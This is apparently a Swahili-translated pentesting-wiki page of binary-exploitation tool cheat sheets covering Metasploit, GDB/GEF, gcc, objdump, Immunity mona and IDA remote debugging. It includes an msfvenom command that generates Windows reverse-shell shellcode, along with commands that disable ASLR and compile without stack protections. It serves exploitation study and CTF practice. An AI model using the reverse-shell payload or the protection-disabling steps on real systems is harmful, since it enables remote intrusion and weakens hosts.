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History

Translator 979fb1f845 Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo		2024-07-18 22:14:33 +00:00
..
pwntools.md	Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md	2024-07-18 18:37:42 +00:00
README.md	Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo	2024-07-18 22:14:33 +00:00

Zana za Kutumia

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{% endhint %}

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Sakinisha

apt-get install gdb

Parametri

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Maagizo

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Tricks

GDB anwani sawa

Wakati wa kujaribu, GDB itakuwa na anwani kidogo tofauti na zile zinazotumiwa na binary wakati inatekelezwa. Unaweza kufanya GDB iwe na anwani sawa kwa kufanya:

unset env LINES
unset env COLUMNS
set env _=<path> Weka njia kamili ya binary
Fanya unyakuzi wa binary ukitumia njia hiyo hiyo kamili
PWD na OLDPWD lazima ziwe sawa wakati wa kutumia GDB na wakati wa kufanya unyakuzi wa binary

Backtrace ili kupata kazi zilizoitwa

Wakati una binary iliyounganishwa kwa statically kazi zote zitakuwa za binary (na si za maktaba za nje). Katika kesi hii itakuwa vigumu kubaini mtiririko ambao binary inafuata kwa mfano kuomba pembejeo ya mtumiaji.
Unaweza kwa urahisi kubaini mtiririko huu kwa kuendesha binary na gdb hadi uombwe pembejeo. Kisha, itoe kwa CTRL+C na utumie amri bt (backtrace) kuona kazi zilizoitwa:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB server

gdbserver --multi 0.0.0.0:23947 (katika IDA unapaswa kujaza njia kamili ya executable katika mashine ya Linux na katika mashine ya Windows)

Ghidra

Find stack offset

Ghidra ni muhimu sana kupata offset kwa buffer overflow kutokana na taarifa kuhusu nafasi ya mabadiliko ya ndani.
Kwa mfano, katika mfano hapa chini, mtiririko wa buffer katika local_bc inaonyesha kuwa unahitaji offset ya 0xbc. Aidha, ikiwa local_10 ni cookie ya canary inaonyesha kuwa ili kuandika tena kutoka local_bc kuna offset ya 0xac.
Kumbuka kwamba 0x08 ya kwanza ambapo RIP imehifadhiwa inahusiana na RBP.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Kamilisha bila ulinzi
-o --> Matokeo
-g --> Hifadhi msimbo (GDB itaweza kuiona)
echo 0 > /proc/sys/kernel/randomize_va_space --> Kuondoa ASLR katika linux

Ili kukamilisha shellcode:
nasm -f elf assembly.asm --> rudisha ".o"
ld assembly.o -o shellcodeout --> Executable

Objdump

-d --> Disassemble executable sehemu (ona opcodes za shellcode iliyokamilishwa, pata ROP Gadgets, pata anwani ya kazi...)
-Mintel --> Intel sintaksia
-t --> Meza ya alama
-D --> Disassemble yote (anwani ya mabadiliko ya statiki)
-s -j .dtors --> sehemu ya dtors
-s -j .got --> sehemu ya got
-D -s -j .plt --> plt sehemu iliyotafsiriwa
-TR --> Relocations
ojdump -t --dynamic-relo ./exec | grep puts --> Anwani ya "puts" kubadilisha katika GOT
objdump -D ./exec | grep "VAR_NAME" --> Anwani au mabadiliko ya statiki (hizi zimehifadhiwa katika sehemu ya DATA).

Core dumps

Kimbia ulimit -c unlimited kabla ya kuanza programu yangu
Kimbia sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
sudo gdb --core=<path/core> --quiet

ldd executable | grep libc.so.6 --> Anwani (ikiwa ASLR, basi hii hubadilika kila wakati)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Mzunguko kuona ikiwa anwani inabadilika sana
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Offset ya "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Offset ya "/bin/sh"

strace executable --> Kazi zinazoitwa na executable
rabin2 -i ejecutable --> Anwani ya kazi zote

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Kurekebisha katika linux ya mbali

Ndani ya folda ya IDA unaweza kupata binaries ambazo zinaweza kutumika kurekebisha binary ndani ya linux. Ili kufanya hivyo, hamasisha binary linux_server au linux_server64 ndani ya seva ya linux na uendeshe ndani ya folda inayoshikilia binary hiyo:

./linux_server64 -Ppass

Kisha, tengeneza debugger: Debugger (linux remote) --> Chaguzi za Proccess...: